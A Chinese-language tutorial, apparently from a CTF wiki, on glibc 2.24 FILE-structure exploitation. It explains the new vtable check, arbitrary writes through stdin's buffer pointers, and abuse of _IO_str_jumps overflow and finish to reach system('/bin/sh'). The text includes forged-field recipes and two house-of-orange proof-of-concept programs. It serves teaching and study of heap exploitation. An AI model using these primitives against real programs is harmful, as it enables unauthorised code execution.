glibc 2.24 下 IO_FILE 的利用

介绍

在 2.24 版本的 glibc 中,全新加入了针对 IO_FILE_plus 的 vtable 劫持的检测措施,glibc 会在调用虚函数之前首先检查 vtable 地址的合法性。首先会验证 vtable 是否位于_IO_vtable 段中,如果满足条件就正常执行,否则会调用_IO_vtable_check 做进一步检查。

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/* Check if unknown vtable pointers are permitted; otherwise,
terminate the process. */
void _IO_vtable_check (void) attribute_hidden;
/* Perform vtable pointer validation. If validation fails, terminate
the process. */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}

计算 section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;,紧接着会判断 vtable - __start___libc_IO_vtables 的 offset ,如果这个 offset 大于 section_length , 即大于 __stop___libc_IO_vtables - __start___libc_IO_vtables 那么就会调用 _IO_vtable_check() 这个函数。

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void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
return;

/* In case this libc copy is in a non-default namespace, we always
need to accept foreign vtables because there is always a
possibility that FILE * objects are passed across the linking
boundary. */
{
Dl_info di;
struct link_map *l;
if (_dl_open_hook != NULL
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return;
}

#else /* !SHARED */
/* We cannot perform vtable validation in the static dlopen case
because FILE * handles might be passed back and forth across the
boundary. Therefore, we disable checking in this case. */
if (__dlopen != NULL)
return;
#endif

__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

如果 vtable 是非法的,那么会引发 abort。

这里的检查使得以往使用 vtable 进行利用的技术很难实现

新的利用技术

fileno 与缓冲区的相关利用

劫持 _IO_FILE 结构体的 _IO_buf_base_IO_buf_end 实现任意地址写

在 vtable 难以被利用之后,利用的关注点从 vtable 转移到 _IO_FILE 结构内部的域中。 前面介绍过 _IO_FILE 在使用标准 IO 库时会进行创建并负责维护一些相关信息,其中有一些域是表示调用诸如 fwrite、fread 等函数时写入地址或读取地址的,如果可以控制这些数据就可以实现任意地址写或任意地址读。

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struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
int _flags2;
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
};

因为进程中包含了系统默认的三个文件流 stdin\stdout\stderr,因此这种方式可以不需要进程中存在文件操作,通过 scanf\printf 一样可以进行利用。

在 _IO_FILE 中 _IO_buf_base 表示操作的起始地址,_IO_buf_end 表示结束地址,通过控制这两个数据可以实现控制读写的操作。

示例

简单的观察一下_IO_FILE 对于调用 scanf 的作用

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#include "stdio.h"

char buf[100];

int main()
{
char stack_buf[100];
scanf("%s",stack_buf);
scanf("%s",stack_buf);

}

在执行程序第一次使用 stdin 之前,stdin 的内容还未初始化是空的

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0x7ffff7dd18e0 <_IO_2_1_stdin_>:    0x00000000fbad2088  0x0000000000000000
0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1910 <_IO_2_1_stdin_+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1930 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1940 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1950 <_IO_2_1_stdin_+112>: 0x0000000000000000 0xffffffffffffffff
0x7ffff7dd1960 <_IO_2_1_stdin_+128>: 0x0000000000000000 0x00007ffff7dd3790
0x7ffff7dd1970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000
0x7ffff7dd1980 <_IO_2_1_stdin_+160>: 0x00007ffff7dd19c0 0x0000000000000000
0x7ffff7dd1990 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd19a0 <_IO_2_1_stdin_+192>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd19b0 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007ffff7dd06e0 <== vtable

调用 scanf 之后可以看到_IO_read_ptr、_IO_read_base、_IO_read_end、_IO_buf_base、_IO_buf_end 等域都被初始化

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0x7ffff7dd18e0 <_IO_2_1_stdin_>:    0x00000000fbad2288  0x0000000000602013
0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x0000000000602014 0x0000000000602010
0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x0000000000602010 0x0000000000602010
0x7ffff7dd1910 <_IO_2_1_stdin_+48>: 0x0000000000602010 0x0000000000602010
0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x0000000000602410 0x0000000000000000
0x7ffff7dd1930 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1940 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1950 <_IO_2_1_stdin_+112>: 0x0000000000000000 0xffffffffffffffff
0x7ffff7dd1960 <_IO_2_1_stdin_+128>: 0x0000000000000000 0x00007ffff7dd3790
0x7ffff7dd1970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000
0x7ffff7dd1980 <_IO_2_1_stdin_+160>: 0x00007ffff7dd19c0 0x0000000000000000
0x7ffff7dd1990 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd19a0 <_IO_2_1_stdin_+192>: 0x00000000ffffffff 0x0000000000000000
0x7ffff7dd19b0 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007ffff7dd06e0

进一步思考可以发现其实 stdin 初始化的内存是在堆上分配出来的,在这里堆的基址是 0x602000,因为之前没有堆分配因此缓冲区的地址也是 0x602010

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Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /home/vb/桌面/tst/1/t1
0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /home/vb/桌面/tst/1/t1
0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /home/vb/桌面/tst/1/t1
0x0000000000602000 0x0000000000623000 0x0000000000000000 rw- [heap]

分配的堆大小是 0x400 个字节,正好对应于_IO_buf_base~_IO_buf_end 在进行写入后,可以看到缓冲区中有我们写入的数据,之后目的地址栈中的缓冲区也会写入数据

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0x602000:   0x0000000000000000  0x0000000000000411 <== 分配0x400大小
0x602010: 0x000000000a333231 0x0000000000000000 <== 缓冲数据
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000

接下来我们尝试修改_IO_buf_base 来实现任意地址读写,全局缓冲区 buf 的地址是 0x7ffff7dd2740。修改_IO_buf_base 和_IO_buf_end 到缓冲区 buf 的地址

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0x7ffff7dd18e0 <_IO_2_1_stdin_>:    0x00000000fbad2288  0x0000000000602013
0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x0000000000602014 0x0000000000602010
0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x0000000000602010 0x0000000000602010
0x7ffff7dd1910 <_IO_2_1_stdin_+48>: 0x0000000000602010 0x00007ffff7dd2740 <== _IO_buf_base
0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x00007ffff7dd27c0 0x0000000000000000 <== _IO_buf_end
0x7ffff7dd1930 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1940 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1950 <_IO_2_1_stdin_+112>: 0x0000000000000000 0xffffffffffffffff
0x7ffff7dd1960 <_IO_2_1_stdin_+128>: 0x0000000000000000 0x00007ffff7dd3790
0x7ffff7dd1970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000
0x7ffff7dd1980 <_IO_2_1_stdin_+160>: 0x00007ffff7dd19c0 0x0000000000000000
0x7ffff7dd1990 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd19a0 <_IO_2_1_stdin_+192>: 0x00000000ffffffff 0x0000000000000000
0x7ffff7dd19b0 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007ffff7dd06e0

之后 scanf 的读入数据就会写入到 0x7ffff7dd2740 的位置

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0x7ffff7dd2740 <buf>:   0x00000a6161616161  0x0000000000000000
0x7ffff7dd2750 <buffer>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2760 <buffer>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2770 <buffer>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2780 <buffer>: 0x0000000000000000 0x0000000000000000

_IO_str_jumps -> overflow

加入的是 check 是针对 _IO_FILE_plus 的 vtable 检查,没有对 _IO_str_jumps vtable 进行检查。劫持这个后者的 vtable ,找调用这个虚函数的函数运行 getshell

libc中不仅仅只有_IO_file_jumps这么一个vtable,还有一个叫_IO_str_jumps的 ,这个 vtable 不在 check 范围之内。

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const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};

如果我们能设置文件指针的 vtable_IO_str_jumps 么就能调用不一样的文件操作函数。这里以_IO_str_overflow为例子:

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int
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)// pass
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))// should in
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ // pass
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)//pass 一般会通过
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);//target [fp+0xe0]
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
(*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);

_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);

fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}

if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
libc_hidden_def (_IO_str_overflow)

利用以下代码来劫持程序流程

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new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

几个条件 bypass:

  1. 1. fp->_flags & _IO_NO_WRITES为假
  2. 2. (pos = fp->_IO_write_ptr - fp->_IO_write_base) >= ((fp->_IO_buf_end - fp->_IO_buf_base) + flush_only(1))
  3. 3. fp->_flags & _IO_USER_BUF(0x01)为假
  4. 4. 2*(fp->_IO_buf_end - fp->_IO_buf_base) + 100 不能为负数
  5. 5. new_size = 2 * (fp->_IO_buf_end - fp->_IO_buf_base) + 100; 应当指向/bin/sh字符串对应的地址
  6. 6. fp+0xe0指向system地址

构造:

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_flags = 0
_IO_write_base = 0
_IO_write_ptr = (binsh_in_libc_addr -100) / 2 +1
_IO_buf_end = (binsh_in_libc_addr -100) / 2

_freeres_list = 0x2
_freeres_buf = 0x3
_mode = -1

vtable = _IO_str_jumps - 0x18

示例

修改了 how2heap 的 houseoforange 代码,可以自己动手调试一下。

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#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int winner ( char *ptr);
int main()
{
char *p1, *p2;
size_t io_list_all, *top;
// unsorted bin attack
p1 = malloc(0x400-16);
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;
p2 = malloc(0x1000);
io_list_all = top[2] + 0x9a8;
top[3] = io_list_all - 0x10;
// _IO_str_overflow conditions
char binsh_in_libc[] = "/bin/sh\x00"; // we can found "/bin/sh" in libc, here i create it in stack
// top[0] = ~1;
// top[0] &= ~8;
top[0] = 0;
top[4] = 0; // write_base
top[5] = ((size_t)&binsh_in_libc-100)/2 + 1; // write_ptr
top[7] = 0; // buf_base
top[8] = top[5] - 1; // buf_end
// house_of_orange conditions
top[1] = 0x61;

top[20] = (size_t) &top[18];
top[21] = 2;
top[22] = 3;
top[24] = -1;
top[27] = (size_t)stdin - 0x3868-0x18; // _IO_str_jumps地址
top[28] = (size_t) &winner;

/* Finally, trigger the whole chain by calling malloc */
malloc(10);
return 0;
}
int winner(char *ptr)
{
system(ptr);
return 0;
}

_IO_str_jumps -> finish

原理与上面的 _IO_str_jumps -> overflow 类似

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void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //[fp+0xe8]
fp->_IO_buf_base = NULL;

_IO_default_finish (fp, 0);
}

条件:

  1. _IO_buf_base 不为空
  2. _flags & _IO_USER_BUF(0x01) 为假

构造如下:

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_flags = (binsh_in_libc + 0x10) & ~1
_IO_buf_base = binsh_addr

_freeres_list = 0x2
_freeres_buf = 0x3
_mode = -1
vtable = _IO_str_finish - 0x18
fp+0xe8 -> system_addr

示例

修改了 how2heap 的 houseoforange 代码,可以自己动手调试一下。

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#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int winner ( char *ptr);
int main()
{
char *p1, *p2;
size_t io_list_all, *top;
// unsorted bin attack
p1 = malloc(0x400-16);
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;
p2 = malloc(0x1000);
io_list_all = top[2] + 0x9a8;
top[3] = io_list_all - 0x10;
// _IO_str_finish conditions
char binsh_in_libc[] = "/bin/sh\x00"; // we can found "/bin/sh" in libc, here i create it in stack

top[0] = ((size_t) &binsh_in_libc + 0x10) & ~1;
top[7] = ((size_t)&binsh_in_libc); // buf_base

// house_of_orange conditions
top[1] = 0x61;
top[5] = 0x1 ; //_IO_write_ptr
top[20] = (size_t) &top[18];
top[21] = 2;
top[22] = 3;
top[24] = -1;
top[27] = (size_t) stdin - 0x33f0 - 0x18;
top[29] = (size_t) &winner;
top[30] = (size_t) &top[30];
malloc(10);
return 0;
}
int winner(char *ptr)
{
system(ptr);
return 0;
}